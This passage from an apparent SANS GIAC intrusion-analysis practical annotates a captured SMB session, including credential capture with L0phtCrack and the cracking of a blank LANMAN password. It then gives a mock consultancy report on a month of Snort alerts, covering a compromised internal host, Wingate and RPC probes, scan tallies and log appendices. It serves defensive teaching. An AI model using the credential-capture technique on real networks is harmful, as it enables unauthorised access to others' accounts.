30 00 04 FF 00 00 00 02 00 01 00 16 00 00 5C 5C 0.............\\
45 55 54 48 59 44 45 4D 55 53 5C 53 00 3F 3F 3F EUTHYDEMUS\S.???
3F 3F 00 ??.
```

Victim says here is my LANMAN logon credentials and the resource that I want access to. I also had L0phtCrack running at the time to capture the credentials.

L0phtCrack SMB Capture.
WORKGROUP\VICTIM:3:0ce6edfcd17dfca8:1326ccb962bdbf314eed06a834d2dbc597141da95c20572b:000000000000000000000000000000000000000000000000

One sees the Domain name\User name. I don't know what the 3 represents in the second field. Third is the challenge that was issued by the server in the clear. Fourth is the LANMAN hash of the users password using the challenge [80:24]. The fifth field is the NTLMv1 hash, which is not provided on standard Windows 98 systems.

Although L0phtCrack does not know the password, it does know the formula used to derive the hash from the password and the challenge. It merely guesses until

© SANS Institute 2000 - 2005 Author retains full rights.

it finds the right answer. In this case, the Victim password was blank.

```
08/13-15:00:49.865719 24.357.422.69:139 -> 10.176.222.201:1036
TCP TTL:128 TOS:0x0 ID:11600 DF
*****PA* Seq: 0xA32B35 Ack: 0x5F867E0 Win: 0x20AF
00 00 00 65 FF 53 4D 42 73 00 00 00 00 90 00 00 ...e.SMBs.......
00 00 00 00 00 00 00 00 00 00 00 00 00 08 89 16 ................
00 08 81 83 03 75 00 55 00 01 00 2C 00 57 69 6E .....u.U...,.Win
64 6F 77 73 20 4E 54 20 34 2E 30 00 4E 54 20 4C dows NT 4.0.NT L
41 4E 20 4D 61 6E 61 67 65 72 20 34 2E 30 00 57 AN Manager 4.0.W
4F 52 4B 47 52 4F 55 50 00 03 FF 00 65 00 01 00 ORKGROUP....e...
07 00 41 3A 00 46 41 54 00 ..A:.FAT.
```

This reply from Euthydemus accepts the logon, but not as the user Victim, since it doesn't have credentials in its SAM for Victim. It does, however, have the guest account enabled with no password. Thus the logon is allowed as Guest. The reply clearly states the server OS and even tells us this share is on a FAT formatted drive.

```
08/13-15:00:49.866125 10.176.222.201:1036 -> 24.357.422.69:139
TCP TTL:128 TOS:0x0 ID:5378 DF
*****PA* Seq: 0x5F867E0 Ack: 0xA32B9E Win: 0x2166
00 00 00 64 FF 53 4D 42 32 00 00 00 00 00 01 80 ...d.SMB2.......
00 00 00 00 00 00 00 00 00 00 00 00 00 08 89 16 ................
00 08 81 84 0F 22 00 00 00 0A 00 80 09 00 00 00 ....."..........
00 00 00 00 00 00 00 22 00 42 00 00 00 00 00 01 .......".B......
00 01 00 23 00 00 16 00 04 00 00 00 04 01 00 00 ...#............
00 00 5C 00 50 00 49 00 58 00 45 00 4C 00 2E 00 ..\.P.I.X.E.L...
47 00 49 00 46 00 00 00 G.I.F...
```

Victim requests the file pixel.gif.

```
08/13-15:00:49.869361 24.357.422.69:139 -> 10.176.222.201:1036
TCP TTL:128 TOS:0x0 ID:11856 DF
*****PA* Seq: 0xA32B9E Ack: 0x5F86848 Win: 0x2047
00 00 00 B4 FF 53 4D 42 32 00 00 00 00 80 01 80 .....SMB2.......
00 00 00 00 00 00 00 00 00 00 00 00 00 08 89 16 ................
00 08 81 84 0A 0A 00 70 00 00 00 0A 00 38 00 00 .......p.....8..
00 70 00 44 00 00 00 00 00 7D 00 00 00 08 01 00 .p.D.....}......
01 00 00 00 00 00 16 00 00 00 00 00 60 00 00 00 ............`...
60 C4 22 CF 6E 7D BF 01 00 A0 70 F3 DA 04 C0 01 `.".n}....p.....
00 62 4A 8D 6E 7D BF 01 00 00 00 00 00 00 00 00 .bJ.n}..........
23 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 #...............
20 00 00 00 12 00 00 00 00 00 00 00 00 00 00 00 ...............
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 70 00 69 00 78 00 65 00 6C 00 ......p.i.x.e.l.
2E 00 67 00 69 00 66 00 ..g.i.f.
```

Euthydemus sends the file pixel.gif.

```
08/13-15:00:49.869727 10.176.222.201:1036 -> 24.357.422.69:139
TCP TTL:128 TOS:0x0 ID:5634 DF
*****PA* Seq: 0x5F86848 Ack: 0xA32C56 Win: 0x20AE
00 00 00 25 FF 53 4D 42 34 00 00 00 00 00 00 80 ...%.SMB4.......
00 00 00 00 00 00 00 00 00 00 00 00 00 08 89 16 ................
00 08 01 85 01 00 08 00 00 .........
```

Victim sends thanks.

```
08/13-15:00:49.870769 24.357.422.69:139 -> 10.176.222.201:1036
TCP TTL:128 TOS:0x0 ID:12112 DF
*****PA* Seq: 0xA32C56 Ack: 0x5F86871 Win: 0x201E
00 00 00 23 FF 53 4D 42 34 00 00 00 00 80 00 80 ...#.SMB4.......
00 00 00 00 00 00 00 00 00 00 00 00 00 08 89 16 ................
00 08 01 85 00 00 00 .......
```

Euthydemus says you're welcome.

```
08/13-15:00:49.871633 10.176.222.201:1036 -> 24.357.422.69:139
TCP TTL:128 TOS:0x0 ID:5890 DF
*****PA* Seq: 0x5F86871 Ack: 0xA32C7D Win: 0x2087
00 00 00 3A FF 53 4D 42 08 00 00 00 00 00 00 80 ...:.SMB........
00 00 00 00 00 00 00 00 00 00 00 00 00 08 89 16 ................
00 08 81 85 00 17 00 04 5C 00 50 00 49 00 58 00 ........\.P.I.X.
45 00 4C 00 2E 00 47 00 49 00 46 00 00 00 E.L...G.I.F...
```

Victim asks for the attributes for pixel.gif

```
08/13-15:00:49.873016 24.357.422.69:139 -> 10.176.222.201:1036
TCP TTL:128 TOS:0x0 ID:12368 DF
*****PA* Seq: 0xA32C7D Ack: 0x5F868AF Win: 0x1FE0
00 00 00 37 FF 53 4D 42 08 00 00 00 00 80 00 80 ...7.SMB........
00 00 00 00 00 00 00 00 00 00 00 00 00 08 89 16 ................
00 08 81 85 0A 20 00 00 62 4A 8D 23 00 00 00 00 ..... ..bJ.#....
00 00 00 00 00 00 00 00 00 00 00 ...........
```

Euthydemus sends the file attributes.

```
08/13-15:00:49.873484 10.176.222.201:1036 -> 24.357.422.69:139
TCP TTL:128 TOS:0x0 ID:6146 DF
```

© SANS Institute 2000 - 2005 Author retains full rights.

```
*****PA* Seq: 0x5F868AF Ack: 0xA32CB8 Win: 0x204C
00 00 00 64 FF 53 4D 42 32 00 00 00 00 00 01 80 ...d.SMB2.......
00 00 00 00 00 00 00 00 00 00 00 00 00 08 89 16 ................
00 08 01 86 0F 22 00 00 00 0A 00 80 09 00 00 00 ....."..........
00 00 00 00 00 00 00 22 00 42 00 00 00 00 00 01 .......".B......
00 01 00 23 00 00 16 00 04 00 00 00 04 01 00 00 ...#............
00 00 5C 00 50 00 49 00 58 00 45 00 4C 00 2E 00 ..\.P.I.X.E.L...
47 00 49 00 46 00 00 00 G.I.F...
```

Victim requests the pixel.gif again.

```
08/13-15:00:49.877497 24.357.422.69:139 -> 10.176.222.201:1036
TCP TTL:128 TOS:0x0 ID:12624 DF
*****PA* Seq: 0xA32CB8 Ack: 0x5F86917 Win: 0x1F78
00 00 00 B4 FF 53 4D 42 32 00 00 00 00 80 01 80 .....SMB2.......
00 00 00 00 00 00 00 00 00 00 00 00 00 08 89 16 ................
00 08 01 86 0A 0A 00 70 00 00 00 0A 00 38 00 00 .......p.....8..
00 70 00 44 00 00 00 00 00 7D 00 00 01 08 01 00 .p.D.....}......
01 00 00 00 00 00 16 00 00 00 00 00 60 00 00 00 ............`...
60 C4 22 CF 6E 7D BF 01 00 A0 70 F3 DA 04 C0 01 `.".n}....p.....
00 62 4A 8D 6E 7D BF 01 00 00 00 00 00 00 00 00 .bJ.n}..........
23 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 #...............
20 00 00 00 12 00 00 00 00 00 00 00 00 00 00 00 ...............
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 70 00 69 00 78 00 65 00 6C 00 ......p.i.x.e.l.
2E 00 67 00 69 00 66 00 ..g.i.f.
```

Euthydemus sends pixel.gif again. It's a good thing this was a small file. I do not know why the file was requested twice.

```
08/13-15:00:49.878230 10.176.222.201:1036 -> 24.357.422.69:139
TCP TTL:128 TOS:0x0 ID:6402 DF
*****PA* Seq: 0x5F86917 Ack: 0xA32D70 Win: 0x1F94
00 00 00 25 FF 53 4D 42 34 00 00 00 00 00 00 80 ...%.SMB4.......
00 00 00 00 00 00 00 00 00 00 00 00 00 08 89 16 ................
00 08 81 86 01 01 08 00 00 .........
```

Thank you.

```
08/13-15:00:49.881341 24.357.422.69:139 -> 10.176.222.201:1036
TCP TTL:128 TOS:0x0 ID:12880 DF
*****PA* Seq: 0xA32D70 Ack: 0x5F86940 Win: 0x1F4F
00 00 00 23 FF 53 4D 42 34 00 00 00 00 80 00 80 ...#.SMB4.......
00 00 00 00 00 00 00 00 00 00 00 00 00 08 89 16 ................
00 08 81 86 00 00 00 .......

You're welcome.

08/13-15:00:50.044765 10.176.222.201:1036 -> 24.357.422.69:139
TCP TTL:128 TOS:0x0 ID:6658 DF
******A* Seq: 0x5F86940 Ack: 0xA32D97 Win: 0x1F6D
00 00 00 00 00 00 ......
```

TCP Acknowledge from Victim.

In the interest of time a manual disconnect was performed on Victim. The command run was "net use /delete \\24.357.422.69\s". The remaining packets are the SMB close and subsequent TCP three-way closing handshake. Under normal circumstances the session would have timed out and disconnected after about 20 minutes.

```
08/13-15:03:03.824833 10.176.222.201:1036 -> 24.357.422.69:139
TCP TTL:128 TOS:0x0 ID:6914 DF
*****PA* Seq: 0x5F86940 Ack: 0xA32D97 Win: 0x1F6D
00 00 00 23 FF 53 4D 42 71 00 00 00 00 00 00 80 ...#.SMBq.......
00 00 00 00 00 00 00 00 00 00 00 00 00 08 B2 73 ...............s
00 08 01 87 00 00 00 .......

08/13-15:03:03.827097 24.357.422.69:139 -> 10.176.222.201:1036
TCP TTL:128 TOS:0x0 ID:65104 DF
*****PA* Seq: 0xA32D97 Ack: 0x5F86967 Win: 0x1F28
00 00 00 23 FF 53 4D 42 71 00 00 00 00 80 00 80 ...#.SMBq.......
00 00 00 00 00 00 00 00 00 00 00 00 00 08 B2 73 ...............s
00 08 01 87 00 00 00 .......

08/13-15:03:03.842856 10.176.222.201:1036 -> 24.357.422.69:139
TCP TTL:128 TOS:0x0 ID:7170 DF
***F**A* Seq: 0x5F86967 Ack: 0xA32DBE Win: 0x1F46
00 00 00 00 00 00 ......

08/13-15:03:03.843770 24.357.422.69:139 -> 10.176.222.201:1036
TCP TTL:128 TOS:0x0 ID:65360 DF
***F**A* Seq: 0xA32DBE Ack: 0x5F86968 Win: 0x1F28
00 00 00 00 00 00 ......

08/13-15:03:03.843979 10.176.222.201:1036 -> 24.357.422.69:139
TCP TTL:128 TOS:0x0 ID:7426 DF
******A* Seq: 0x5F86968 Ack: 0xA32DBF Win: 0x1F46
00 00 00 00 00 00 ......
```

© SANS Institute 2000 - 2005 Author retains full rights.

Assignment 3. "Analyze this" Snort data analysis

<Insert suitable impressive cover page here>

Table of Contents

[Executive Summary](#)

[Methodology](#)

[Technical Analysis](#)

- [Attack Alert Summary](#)
- . [Probable compromised internal host](#)
- [Wingate](#)
- [Sun RPC activity](#)
- [SNMP "Public" requests](#)
- [SMB Name Wildcard requests](#)
- [Tiny Fragments:](#)
- [GIAC 000218 CIRT alerts](#)
- [GIAC 08-Feb-2000](#)
- [SMTP Source port traffic](#)
- [Happy 99 virus](#)
- [Evidence of active probing](#)

[Appendix A: Sample Compromised Host Scanning Data](#)

[Appendix B: Sample SNMP "Public" queries](#)

[Appendix C: SMB Name Wildcard Alerts](#)

[Appendix D: GIAC watch of 195.11.50.204](#)

Executive Summary

E. Hacker Associates (EHA) was given the chance to evaluate approximately one month's data captured from Client's network with the non-commercial network IDS program Snort. EHA processed this data to look for indications of dangerous activity between Client's network and the Internet. EHA has summarized the activity to demonstrate both the professional expertise of E. Hacker Associates and the value to Client for operating a full time network IDS

EHA found one system that was obviously compromised. For four days this system was probing other Client hosts for vulnerabilities. Had an active network IDS system been in place and regularly monitored, the intruder could have been shut down much quicker.

EHA processed over 40 megabytes of data to produce this report. Extracting the most important data from this large sample is a difficult task. EHA can help Client build and operate an IDS system that will be effective in identifying problems without also causing undue burden on the Client's information security staff.

In the technical analysis EHA provides ample evidence of nearly continuous probing of Client's network from potentially hostile outsiders. EHA also discovered several attack attempts during the month. EHA documented potential network configuration issues as well.

EHA would like to thank Client for allowing us the opportunity to present this report. Should Client need further services from EHA, please contact us.

Methodology

Client provided EHA with approximately one months of alert and scan logs from a Snort system operating on Client's network perimeter. EHA did not have access to the system during the scan. EHA also did not have access to the rules file used to generate the alerts. It is assumed a standard Snort rules file was used with some specific modifications based on Global Incident Analysis Center observed correlations of hostile networks.

EHA took this data and processed it using tools available for processing large Snort logs. The primary tool used was SnortSnarf, a perl script that processes Snort alerts and outputs HTLM files. EHA received the data in a sanitized format where MY.NET was used to represent the first two octets of the IP address for Client's networks. EHA substituted 192.168 for MY.NET in order to facilitate SnortSnarf processing.

As SnortSnarf produces output that is larger than the original data, EHA did not attempt to include the full results with this report. The full SnortSnarf results are available electronically on CD if the Client so desires.

© SANS Institute 2000 - 2005 Author retains full rights.

EHA concentrated on the most obvious and egregious problems in the analysis. The nature of the Snort IDS prevents EHA from determining whether systems responded to probes or attacks. Snort alerts on packets that are deemed problematic, but does not allow for follow up packet capture. This hinders the analysis process. EHA made judgments based on the data available.

Technical Analysis

Attack Alert Summary

EHA has summarized the Snort alerts in the following chart sorted on the number of individual alerts. This sorting does not reflect the actual danger of the attacks.

Signature	# Alerts	# Sources	# Destinations
Wingate 8080 Attempt	48497	338	20324
SYN-FIN scan!	18037	10	15932
Watchlist 000220 IL-ISDNNET-990517	11340	30	26
Watchlist 000222 NET-NCFC	9624	30	17
Attempted Sun RPC high port access	6018	11	9
Wingate 1080 Attempt	5018	327	1121
NMAP TCP ping!	2931	7	840
SUNRPC highport access!	2911	11	841
SNMP public access	1886	22	1
SMB Name Wildcard	516	16	6
Tiny Fragments - Possible Hostile Activity	390	3	3
GIAC 000218 VA-CIRT port 34555	229	32	13
Null scan!	158	62	46
GIAC 000218 VA-CIRT port 35555	143	31	14
Probable NMAP fingerprint attempt	24	4	11
GIAC 08-feb-2000	23	1	2
External RPC call	17	3	3
TCP SMTP Source Port traffic	4	2	2
Happy 99 Virus	3	2	2
Queso fingerprint	2	1	1

Problem Areas

Probable compromised internal host.

It appears that the internal host, My.Net.253.12 was compromised during the data-gathering period. This host initiated probing activity to nearly 900 different hosts over a four-day period. These probes appear to have ended on June 1st. This host was responsible for over 11,000 alerts ranging from NMAP TCP Pings at random high ports to accessing hosts on Wingate ports 8080 & 1080 and on port 32771 (possibly Sun RPC).

The Snort logs do not indicate if this host was successful in compromising other hosts. A sample of the probes is provided in Appendix A.

Wingate

The majority of problem activity was directed towards known Wingate ports (8080, 1080). One outside host scanned 19,479 separate internal hosts for services offered on port 8080. The Snort rules for Wingate traffic do not perform content analysis on the packets. Given only the alert file it is impossible to precisely determine if there was actual Wingate activity.

Several internal hosts received repeated traffic on ports 8080 and 1080 from multiple outside sources that were not otherwise involved in probes. They may have been accessing authorized services on this port or inappropriately accessing a Wingate service. Client should determine what hosts are running services on port 8080 and 1080 by performing an internal scan. Wingate alerts are not provided for this reason.

Watchlists

The Snort rule set contained a rule to watch if any communication took place with a network in Israel. This rule was triggered many times. However, communication was always between one or two internal hosts and one watched host. Thus it is likely that such traffic was benign.

Another similar rule monitored communication with a network in China. This rule was also triggered many times. Again a quick review did not identify any obviously hostile activity.

© SANS Institute 2000 - 2005 Author retains full rights.

Sun RPC activity

Snort picked up Sun RPC activity going on between internal and external hosts. Other than the previously discussed compromised host, this traffic was always between one or two internal hosts and one external host. It is likely that this traffic was benign.

SNMP "Public" requests

There is a host, most likely an end users system, which is trying to contact an SNMP device using a community string of "public". The target device is likely a printer that the host has configured for IP based printing in Windows. The data suggests that a single system has configured this printer in its settings. The data can been seen in Appendix B.

This host most likely is configured to use DHCP. It makes continuous probes during a single day with incrementing ports, but then never appears again from that address. Each day the probes begin again from a new address. This is annoying but benign behavior. EHA is not able to determine from the data if the SNMP device is accepting the "public" community string. The target device should be checked.

SMB Name Wildcard requests.

These requests came primarily from Client systems to other Client systems. The several instances of remote SMB probing were directed at one known SMB server from several dialup addresses within a single ISP. It is likely that a user with a laptop on a trip caused these probes. The data can be seen in Appendix C.

Tiny Fragments:

Three remote hosts were responsible for these alerts. It is likely that they were attempting a denial of service attack on the destinations.

Source	# Alerts	Destinations
206.193.209.254	252	192.168.219.58
24.3.7.221	132	192.168.70.121
63.236.34.174	6	192.168.1.8

GIAC 000218 CIRT alerts.

EHA did not have access to the Snort rules used, but it appears that these rules were created as the result of some probing activity seen by GIAC on Feb 18, 2000. A sampling of the alerts indicates that they were mostly false positives from busy mail servers.

GIAC 08-Feb-2000

This rule seems to be targeting a specific known attacking host. The alerts generated indicated probing activity from this host. EHA is not able to ascertain from the data whether any probes were successful. However, since each probe appears three times, it is likely no response was received. A sample of these alerts can be found in Appendix D.

SMTP Source port traffic

These alerts occurred because both the source and destination ports were 25. These were the only alerts for these hosts and thus it appears to be false positive.

Happy 99 virus

Email likely containing the Happy 99 virus was sent into Client's network twice. Hopefully Client has installed AntiVirus software on its mail servers.

Evidence of active probing

There is ample evidence of active probing during the month of monitoring. Snort's scan processor recorded over 300,000 individual probe attempts. While many of these are probably false positives, a majority of them are not. There were over 100 unique hosts involved in probing activity. The following table outlines the biggest offenders who scanned Client's network.

Source	# Alerts	# Destinations
24.2.169.101	65864	21371
202.235.50.12	30363	23128
208.220.120.13	23391	23342
24.13.87.239	21022	20989
202.38.128.188	20762	19825
194.179.163.253	19301	19280
203.233.103.188	18064	18038
210.97.12.129	16597	16596
209.203.5.158	15637	15572
195.76.27.44	12978	12978

© SANS Institute 2000 - 2005 Author retains full rights.

208.209.45.170	9226	7185
212.153.128.116	8810	5481
24.27.187.245	7557	7539
203.197.234.162	5446	4296
211.53.209.109	4193	4193
208.238.206.94	4089	4089
212.49.251.17	3699	1691
207.151.47.240	3415	3415
216.72.32.66	3032	2647

The following chart breaks out the most common scan techniques used.

Signature	# Alerts	# Sources	# Destinations
TCP ***F**** scan	105	59	28
TCP ******** scan	153	67	48
UDP scan	8986	50	484
TCP **SF**** scan	104780	18	28658
TCP **S***** scan	207794	105	28865

In addition several hundred packets were received with various TCP flags set in illegal combinations. These are indicative of the Nmap or Queso tools performing Operating System fingerprinting attempts.

If there are any vulnerabilities within Client's network, it is only a matter of time before an attacker discovers them.

Appendix A: Sample Compromised Host Scanning Data

Sample Probes from My.Net.253.12 for the target addresses My.Net.16.13 & 14.

```
05/28-15:08:11.760713 [**] Wingate 1080 Attempt [**] 192.168.253.12:43746 -> 192.168.16.13:1080

05/28-15:08:11.760713 [**] Wingate 1080 Attempt [**] 192.168.253.12:43746 -> 192.168.16.13:1080

05/28-15:08:11.760713 [**] Wingate 1080 Attempt [**] 192.168.253.12:43746 -> 192.168.16.13:1080

05/28-15:08:12.036039 [**] Wingate 1080 Attempt [**] 192.168.253.12:43747 -> 192.168.16.13:1080

05/28-15:08:12.036039 [**] Wingate 1080 Attempt [**] 192.168.253.12:43747 -> 192.168.16.13:1080

05/28-15:08:12.036039 [**] Wingate 1080 Attempt [**] 192.168.253.12:43747 -> 192.168.16.13:1080

05/28-15:08:33.477287 [**] Wingate 8080 Attempt [**] 192.168.253.12:43746 -> 192.168.16.13:8080

05/28-15:08:33.477287 [**] Wingate 8080 Attempt [**] 192.168.253.12:43746 -> 192.168.16.13:8080

05/28-15:08:33.477287 [**] Wingate 8080 Attempt [**] 192.168.253.12:43746 -> 192.168.16.13:8080

05/28-15:08:33.833812 [**] Wingate 8080 Attempt [**] 192.168.253.12:43747 -> 192.168.16.13:8080

05/28-15:08:33.833812 [**] Wingate 8080 Attempt [**] 192.168.253.12:43747 -> 192.168.16.13:8080

05/28-15:08:33.833812 [**] Wingate 8080 Attempt [**] 192.168.253.12:43747 -> 192.168.16.13:8080

05/28-15:09:04.801304 [**] SUNRPC highport access! [**] 192.168.253.12:43747 -> 192.168.16.13:32771

05/28-15:09:04.801304 [**] SUNRPC highport access! [**] 192.168.253.12:43747 -> 192.168.16.13:32771

05/28-15:09:04.801304 [**] SUNRPC highport access! [**] 192.168.253.12:43747 -> 192.168.16.13:32771

05/28-15:09:18.284421 [**] SUNRPC highport access! [**] 192.168.253.12:43749 -> 192.168.16.13:32771

05/28-15:09:18.284421 [**] SUNRPC highport access! [**] 192.168.253.12:43749 -> 192.168.16.13:32771

05/28-15:09:18.284421 [**] SUNRPC highport access! [**] 192.168.253.12:43749 -> 192.168.16.13:32771

05/28-15:09:18.580265 [**] SUNRPC highport access! [**] 192.168.253.12:43750 -> 192.168.16.13:32771

05/28-15:09:18.580265 [**] SUNRPC highport access! [**] 192.168.253.12:43750 -> 192.168.16.13:32771

05/28-15:09:18.580265 [**] SUNRPC highport access! [**] 192.168.253.12:43750 -> 192.168.16.13:32771

05/28-15:10:15.905692 [**] Wingate 1080 Attempt [**] 192.168.253.12:43750 -> 192.168.16.13:1080

05/28-15:10:15.905692 [**] Wingate 1080 Attempt [**] 192.168.253.12:43750 -> 192.168.16.13:1080

05/28-15:10:15.905692 [**] Wingate 1080 Attempt [**] 192.168.253.12:43750 -> 192.168.16.13:1080
```

© SANS Institute 2000 - 2005 Author retains full rights.

```
05/28-15:10:46.491884 [**] NMAP TCP ping! [**] 192.168.253.12:43758 -> 192.168.16.13:43329
05/28-15:10:46.491884 [**] NMAP TCP ping! [**] 192.168.253.12:43758 -> 192.168.16.13:43329
05/28-15:10:46.491884 [**] NMAP TCP ping! [**] 192.168.253.12:43758 -> 192.168.16.13:43329
05/28-15:10:53.407983 [**] NMAP TCP ping! [**] 192.168.253.12:43758 -> 192.168.16.13:42062
05/28-15:10:53.407983 [**] NMAP TCP ping! [**] 192.168.253.12:43758 -> 192.168.16.13:42062
05/28-15:10:53.407983 [**] NMAP TCP ping! [**] 192.168.253.12:43758 -> 192.168.16.13:42062
05/28-15:11:38.099620 [**] Wingate 1080 Attempt [**] 192.168.253.12:43746 -> 192.168.16.14:1080
05/28-15:11:38.099620 [**] Wingate 1080 Attempt [**] 192.168.253.12:43746 -> 192.168.16.14:1080
05/28-15:11:38.099620 [**] Wingate 1080 Attempt [**] 192.168.253.12:43746 -> 192.168.16.14:1080
05/28-15:11:38.401227 [**] Wingate 1080 Attempt [**] 192.168.253.12:43747 -> 192.168.16.14:1080
05/28-15:11:38.401227 [**] Wingate 1080 Attempt [**] 192.168.253.12:43747 -> 192.168.16.14:1080
05/28-15:11:38.401227 [**] Wingate 1080 Attempt [**] 192.168.253.12:43747 -> 192.168.16.14:1080
05/28-15:12:32.176434 [**] SUNRPC highport access! [**] 192.168.253.12:43746 -> 192.168.16.14:32771
05/28-15:12:32.176434 [**] SUNRPC highport access! [**] 192.168.253.12:43746 -> 192.168.16.14:32771
05/28-15:12:32.176434 [**] SUNRPC highport access! [**] 192.168.253.12:43746 -> 192.168.16.14:32771
05/28-15:12:46.295266 [**] SUNRPC highport access! [**] 192.168.253.12:43750 -> 192.168.16.14:32771
05/28-15:12:46.295266 [**] SUNRPC highport access! [**] 192.168.253.12:43750 -> 192.168.16.14:32771
05/28-15:12:46.295266 [**] SUNRPC highport access! [**] 192.168.253.12:43750 -> 192.168.16.14:32771
05/28-15:13:20.468298 [**] Wingate 8080 Attempt [**] 192.168.253.12:43749 -> 192.168.16.14:8080
05/28-15:13:20.468298 [**] Wingate 8080 Attempt [**] 192.168.253.12:43749 -> 192.168.16.14:8080
05/28-15:13:20.468298 [**] Wingate 8080 Attempt [**] 192.168.253.12:43749 -> 192.168.16.14:8080
05/28-15:13:20.787985 [**] Wingate 8080 Attempt [**] 192.168.253.12:43750 -> 192.168.16.14:8080
05/28-15:13:20.787985 [**] Wingate 8080 Attempt [**] 192.168.253.12:43750 -> 192.168.16.14:8080
05/28-15:13:20.787985 [**] Wingate 8080 Attempt [**] 192.168.253.12:43750 -> 192.168.16.14:8080
05/28-15:14:11.420588 [**] NMAP TCP ping! [**] 192.168.253.12:43758 -> 192.168.16.14:42294
05/28-15:14:11.420588 [**] NMAP TCP ping! [**] 192.168.253.12:43758 -> 192.168.16.14:42294
05/28-15:14:11.420588 [**] NMAP TCP ping! [**] 192.168.253.12:43758 -> 192.168.16.14:42294
05/28-15:14:13.518640 [**] NMAP TCP ping! [**] 192.168.253.12:43758 -> 192.168.16.14:42294
05/28-15:14:13.518640 [**] NMAP TCP ping! [**] 192.168.253.12:43758 -> 192.168.16.14:42294
05/28-15:14:13.518640 [**] NMAP TCP ping! [**] 192.168.253.12:43758 -> 192.168.16.14:42294
05/28-15:14:26.313874 [**] NMAP TCP ping! [**] 192.168.253.12:43758 -> 192.168.16.14:43814
05/28-15:14:26.313874 [**] NMAP TCP ping! [**] 192.168.253.12:43758 -> 192.168.16.14:43814
05/28-15:14:26.313874 [**] NMAP TCP ping! [**] 192.168.253.12:43758 -> 192.168.16.14:43814
```

Appendix B: Sample SNMP "Public" queries.

```
05/16-09:24:56.936732 [**] SNMP public access [**] 192.168.97.12:1055 -> 192.168.101.192:161
05/16-09:25:00.586590 [**] SNMP public access [**] 192.168.97.12:1058 -> 192.168.101.192:161
05/16-09:26:03.480560 [**] SNMP public access [**] 192.168.97.12:1062 -> 192.168.101.192:161
05/16-09:27:03.837868 [**] SNMP public access [**] 192.168.97.12:1065 -> 192.168.101.192:161
05/16-09:33:37.105535 [**] SNMP public access [**] 192.168.97.12:1083 -> 192.168.101.192:161
05/16-09:33:37.118787 [**] SNMP public access [**] 192.168.97.12:1084 -> 192.168.101.192:161
05/16-09:33:38.989614 [**] SNMP public access [**] 192.168.97.12:1085 -> 192.168.101.192:161
05/16-09:37:50.874968 [**] SNMP public access [**] 192.168.97.12:1091 -> 192.168.101.192:161
05/16-09:40:10.227521 [**] SNMP public access [**] 192.168.97.12:1101 -> 192.168.101.192:161
05/16-09:41:12.468589 [**] SNMP public access [**] 192.168.97.12:1102 -> 192.168.101.192:161
05/16-09:44:20.365892 [**] SNMP public access [**] 192.168.97.12:1105 -> 192.168.101.192:161
```

© SANS Institute 2000 - 2005 Author retains full rights.

```
05/16-09:49:37.226076 [**] SNMP public access [**] 192.168.97.12:1114 -> 192.168.101.192:161

05/16-09:50:40.806198 [**] SNMP public access [**] 192.168.97.12:1115 -> 192.168.101.192:161

05/16-09:53:47.702151 [**] SNMP public access [**] 192.168.97.12:1118 -> 192.168.101.192:161

05/16-09:53:47.905472 [**] SNMP public access [**] 192.168.97.12:1119 -> 192.168.101.192:161

05/16-09:57:59.666610 [**] SNMP public access [**] 192.168.97.12:1124 -> 192.168.101.192:161

05/16-10:04:14.966341 [**] SNMP public access [**] 192.168.97.12:1130 -> 192.168.101.192:161

05/16-10:06:21.730223 [**] SNMP public access [**] 192.168.97.12:1134 -> 192.168.101.192:161

05/16-10:11:43.724565 [**] SNMP public access [**] 192.168.97.12:1139 -> 192.168.101.192:161

05/16-10:13:48.532285 [**] SNMP public access [**] 192.168.97.12:1142 -> 192.168.101.192:161

05/16-10:18:12.607381 [**] SNMP public access [**] 192.168.97.12:1153 -> 192.168.101.192:161

05/16-10:18:14.687261 [**] SNMP public access [**] 192.168.97.12:1155 -> 192.168.101.192:161

05/16-10:19:16.906729 [**] SNMP public access [**] 192.168.97.12:1156 -> 192.168.101.192:161

05/16-10:21:23.831579 [**] SNMP public access [**] 192.168.97.12:1160 -> 192.168.101.192:161

05/16-10:24:44.306916 [**] SNMP public access [**] 192.168.97.12:1171 -> 192.168.101.192:161

05/16-10:25:46.817154 [**] SNMP public access [**] 192.168.97.12:1173 -> 192.168.101.192:161

05/16-10:25:48.672683 [**] SNMP public access [**] 192.168.97.12:1174 -> 192.168.101.192:161

05/16-10:26:50.853025 [**] SNMP public access [**] 192.168.97.12:1175 -> 192.168.101.192:161

05/16-10:27:53.355508 [**] SNMP public access [**] 192.168.97.12:1176 -> 192.168.101.192:161

05/16-10:27:55.313105 [**] SNMP public access [**] 192.168.97.12:1178 -> 192.168.101.192:161

05/16-10:28:57.773471 [**] SNMP public access [**] 192.168.97.12:1180 -> 192.168.101.192:161

05/16-10:29:04.444626 [**] SNMP public access [**] 192.168.97.12:1181 -> 192.168.101.192:161

05/16-10:30:06.639685 [**] SNMP public access [**] 192.168.97.12:1184 -> 192.168.101.192:161

05/16-10:30:06.779554 [**] SNMP public access [**] 192.168.97.12:1185 -> 192.168.101.192:161

05/16-10:30:08.441775 [**] SNMP public access [**] 192.168.97.12:1186 -> 192.168.101.192:161

05/16-10:30:13.448639 [**] SNMP public access [**] 192.168.97.12:1186 -> 192.168.101.192:161

05/16-10:31:15.925429 [**] SNMP public access [**] 192.168.97.12:1189 -> 192.168.101.192:161

05/16-10:34:29.524994 [**] SNMP public access [**] 192.168.97.12:1194 -> 192.168.101.192:161

05/16-10:37:36.183171 [**] SNMP public access [**] 192.168.97.12:1200 -> 192.168.101.192:161

05/16-10:40:46.815910 [**] SNMP public access [**] 192.168.97.12:1206 -> 192.168.101.192:161

05/16-10:46:05.713616 [**] SNMP public access [**] 192.168.97.12:1213 -> 192.168.101.192:161

05/16-10:48:18.026092 [**] SNMP public access [**] 192.168.97.12:1217 -> 192.168.101.192:161

05/16-10:50:22.575717 [**] SNMP public access [**] 192.168.97.12:1219 -> 192.168.101.192:161

05/16-10:57:48.170112 [**] SNMP public access [**] 192.168.97.12:1230 -> 192.168.101.192:161

05/16-10:58:57.348938 [**] SNMP public access [**] 192.168.97.12:1235 -> 192.168.101.192:161

05/16-11:04:09.864994 [**] SNMP public access [**] 192.168.97.12:1240 -> 192.168.101.192:161

05/16-11:05:12.261260 [**] SNMP public access [**] 192.168.97.12:1241 -> 192.168.101.192:161

